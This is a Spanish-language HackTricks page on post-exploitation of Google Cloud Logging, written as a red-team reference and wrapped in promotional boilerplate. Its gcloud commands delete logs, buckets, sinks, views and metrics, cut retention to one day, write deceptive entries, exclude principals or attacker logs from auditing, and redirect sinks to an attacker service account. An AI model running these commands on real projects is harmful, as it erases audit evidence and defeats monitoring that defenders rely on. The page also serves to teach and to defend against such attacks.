GCP - Logging Post Exploitation

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

• Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!

• Obtén la merchandising oficial de PEASS & HackTricks

• Descubre La Familia PEASS, nuestra colección exclusiva de NFTs

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

Información Básica

Para más información consulta:

pageGCP - Logging Enum

Para otras formas de interrumpir la monitorización consulta:

pageGCP - Monitoring Post Exploitation

Registro Predeterminado

Por defecto, no serás atrapado solo por realizar acciones de lectura. Para más información consulta la sección de Enumeración de Registro.

Agregar Principal Excluido

En https://console.cloud.google.com/iam-admin/audit/allservices y https://console.cloud.google.com/iam-admin/audit es posible agregar principales para no generar registros. Un atacante podría abusar de esto para evitar ser descubierto.

Leer registros - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Escribir registros - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

logging.sinks.delete

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!

• Obtén el oficial PEASS & HackTricks swag

• Descubre The PEASS Family, nuestra colección exclusiva de NFTs

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.